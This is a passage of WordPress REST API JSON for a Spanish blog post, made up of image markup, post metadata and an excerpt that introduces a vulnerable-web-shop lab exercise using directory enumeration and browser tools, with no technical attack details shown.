srcset=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-136-1024x254.png 1024w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-136-300x75.png 300w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-136-768x191.png 768w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-136.png 1151w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>Resumen Explora diferentes vulnerabilidades que nos podemos encontrar en una aplicaci\u00f3n web insegura. Para ello contamos con una \u201cTienda Online\u201d desplegada a la que tendr\u00e1s que atacar. Utiliza herramientas de enumeraci\u00f3n de directorios, herramientas del desarrollador del navegador, conocimientos t\u00e9cnicos y creatividad sobre todo. \u00a1Empezamos! Empezando La web vulnerable a testear se encuentra en el [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-23459","post","type-post","status-publish","format-standard","hentry","category-sin-categoria"],"blocksy_meta":[],"_links":{"self":[{"href":"https:\/\/sada.services\/index.php?rest_route=\/wp\/v2\/posts\/23459","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/sada.services\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/sada.services\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/sada.services\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/sada.services\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=23459"}],"version-history":[{"count":6,"href":"https:\/\/sada.services\/index.php?rest_route=\/wp\/v2\/posts\/23459\/revisions"}],"predecessor-version":[{"id":23496,"href":"https:\/\/sada.services\/index.php?rest_route=\/wp\/v2\/posts\/23459\/revisions\/23496"}],"wp:attachment":[{"href":"https:\/\/sada.services\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=23459"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/sada.services\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=23459"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/sada.services\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=23459"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}